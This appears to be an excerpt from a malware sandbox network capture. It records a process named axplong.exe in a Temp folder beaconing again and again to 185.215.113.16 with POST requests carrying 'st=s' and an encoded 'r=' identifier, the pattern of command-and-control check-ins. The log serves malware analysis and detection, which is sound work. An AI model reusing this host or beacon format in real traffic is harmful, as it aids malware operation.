Sep 27, 2024 08:41:13.380831957 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 08:41:14.071178913 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 08:41:14.072191954 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 08:41:14.294347048 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	53663	185.215.113.16	80	6340	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 08:41:14.412811995 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 08:41:15.113159895 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 08:41:15.114578009 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 08:41:15.575911045 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Sep 27, 2024 08:41:15.577275991 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	53664	185.215.113.16	80	6340	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 08:41:15.693214893 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 08:41:16.397417068 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 08:41:16.398504972 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 08:41:16.854346991 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Sep 27, 2024 08:41:16.854542971 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	53665	185.215.113.16	80	6340	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 08:41:16.974572897 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 08:41:17.665976048 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 08:41:17.670783043 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 08:41:17.893939018 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	53666	185.215.113.16	80	6340	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 08:41:18.006336927 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 08:41:18.696949005 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 08:41:18.697839975 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 08:41:19.199841976 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Sep 27, 2024 08:41:19.200320005 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	53667	185.215.113.16	80	6340	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 08:41:19.318588018 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 08:41:20.018517971 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 08:41:20.019439936 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 08:41:20.244077921 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	53668	185.215.113.16	80	6340	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 08:41:20.365197897 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 08:41:21.063872099 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 08:41:21.066653013 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 08:41:21.291726112 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	53669	185.215.113.16	80	6340	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 08:41:21.411881924 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 08:41:22.145788908 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 08:41:22.146595955 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 08:41:22.372174025 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	53670	185.215.113.16	80	6340	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 08:41:22.490197897 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 08:41:23.181474924 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 08:41:23.182704926 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 08:41:23.406193972 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	53671	185.215.113.16	80	6340	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 08:41:23.522094011 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 08:41:24.213078976 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 08:41:24.214070082 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 08:41:24.438210964 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	53672	185.215.113.16	80	6340	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 08:41:24.553843975 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 08:41:25.244494915 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 08:41:25.245512009 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 08:41:25.468374968 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	53673	185.215.113.16	80	6340	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 08:41:25.583973885 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 08:41:26.276273966 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 08:41:26.280642986 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 08:41:26.526397943 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	53674	185.215.113.16	80	6340	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 08:41:26.646678925 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
